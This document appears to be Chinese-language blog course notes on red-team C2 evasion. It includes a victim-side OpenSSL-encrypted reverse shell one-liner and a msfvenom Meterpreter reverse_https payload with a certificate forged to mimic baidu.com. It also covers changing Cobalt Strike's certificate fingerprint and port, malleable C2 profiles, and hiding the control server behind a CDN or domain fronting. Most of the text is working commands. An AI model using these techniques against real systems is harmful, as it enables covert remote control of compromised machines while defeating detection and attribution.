155-反朔源&流量加密&CS&MSF&证书指纹&C2项目&CDN域前置

#知识点:

1、MSF-OpenSSL 证书-流量加密通讯

2、CS-指纹特征证书修改-流量加密通讯

3、CS-C2&CDN 域前置-隐藏 IP 防朔源封锁

#背景交代:

在红蓝对抗或日常测试中会出现一种情况,当我们终于让目标机器上线后,

却因为明显的通信特征被安全设备检测到从而失去目标机器的控制权限,

这时就需要对 Cobalt Strike 或 MSF 的特征进行隐藏、对其通信流量进行混淆。

#常见红蓝对抗中红队面临问题:

1、通讯协议走 TCP&UDP 协议,直接被防火墙限制出网

2、通讯协议走无加密 HTTP 协议,直接明文传输成指纹特征

3、通讯协议走 HTTPS 或 DNS 加密协议,直接工具证书成指纹特征

4、通讯协议走 HTTPS 或 DNS 加密协议,特征指纹等修改后又被朔源拉黑

红队进行权限控制,主机开始限制出网,尝试走常见出网协议 http/https,结果流 量设备入侵检测检测系统发现异常,尝试修改工具指纹特征加密流量防止检测,结果被定 位到控制服务器,再次使用 CDN,云函数,第三方上线等进行隐藏保证权限维持。

#NC-未加密&加密后-流量抓包对比

一般linux上面进行反弹shell的操作都是明文传输,在实战中蓝队的设备很容易就检测到异常,可以使用openssl生成证书使用ssl进行加密通信

在我们的攻击端生成自签名证书,输入后直接回车全部命令即可

openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem 

rsa:2048指定加密协议 365是证书的有效期

在攻击机上监听指定端口

 openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

在受害机上执行 shell 反弹命令(注意修改 ip 和端口)

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect xx.xx.xx.xx:8888 > /tmp/s;

#MSF-流量通讯特征修改-证书-openssl

-解决 HTTPS-SSL 通讯证书被特征标示问题

1.利用 openssl 生成证书:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt

2.MSF 生成绑定证书后门:

msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.236.117 LPORT=5566 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true - f exe -o https-b.exe

3.MSF 监听上线:

use exploit/multi/handler

set payload windows/meterpreter/reverse_https

set lhost 0.0.0.0

set lport 5566

set HandlerSSLCert /root/www.baidu.com.pem

set StagerVerifySSLCert true

run

然后访问;浏览器访问监听到端口可以发现网站的证书内容发生了变化

-impersonate_ssl 模块

此外 Metasploit 框架还有一个 auxiliary/gather/impersonate_ssl 模块,可 以用来自动从信任源创建一个虚假证书,十分方便:

use auxiliary/gather/impersonate_ssl

set RHOST www.baidu.com

run

#CS-流量通讯特征修改-证书指纹-keytool

修改teamserver文件的默认50050端口为其他端口,一般微步只要看到开放了50050就会标记为c2

去除证书指纹

默认证书使用./cobaltstrike.store文件,可以使用keytool工具生成新的证书指纹。keytool是jdk自带的工具。

keytool.exe -list -v -keystore cobaltstrike.store

输入后要求输入密码,密码就在teamserver里默认是123456

生成新的文件,修改指纹

keytool -keystore dreamer292.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias dreamer292.com -dname "CN=dreamer292 e-Szigno Root CA, OU=e-Szigno CA,O=dreamer292 Ltd., L=Budapest ,ST=HU,C=HU"

再次查看一下可以看到指纹被修改了

去除流量通信特征

在github上面搜索c2-profiles有很多项目可以使用

测试规则正常 ./c2lint xxx.profile

加载规则启动 ./teamserver ip 密码 xxx.profiles

还可以添加https相关的配置信息,要和之前生成的那个store内容一样

#custom cert
https-certificate {
        set CN "dreamer292 e-Szigno Root CA";
        set O "dreamer292 Ltd.";
        set C "HU";
        set L "Budapest";
        set OU "e-Szigno CA";
        set ST "HU";
        set validity "365";
#    set keystore "your_store_file.store";
#    set password "your_store_pass";
}

code-signer{
    set keystore "dreamer292.store";
    set password "123456";
    set alias "dreamer292.com";

}

抓包查看数据流

可以看到数据全部都变成了profile中的内容

而且我抓包查看了应该是没有checksum8的特征了(我看了看我的模版发现他在里面配置了64和32分别固定的访问一个路径而不是使用checksum8来随机检测)这样确实比较好自己写一个简单的区别来区分即可。

隐藏

域前置、CDN、云函数、网盘第三方上线等

#CS-防封锁处置ip地址 -域前置 -c2&CDN

解决HTTPS-SSL通讯被溯源ip封锁问题

1、阿里云备案域名&全站加速CDN配置

2、Cs创建监听器-HTTPS/stager/Header

3、生成后门-进程网络状态&威胁情报平台

发挥想象:

域前置?转发器换成CDN;

云函数?转发器换成云函数转发;

代理隐藏?转发器换成代理机;

网关隐藏?转发器换成网关;

本节课只讲了cdn的隐藏方式,不过我没有使用小迪使用的阿里云来做,我参考网上的其他的教程使用国外无需实名的域名和免费的cloudflare的CDN实现,免费的CDN节点比较少。

实验文章 基于CDN实现隐藏c2真实地址-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值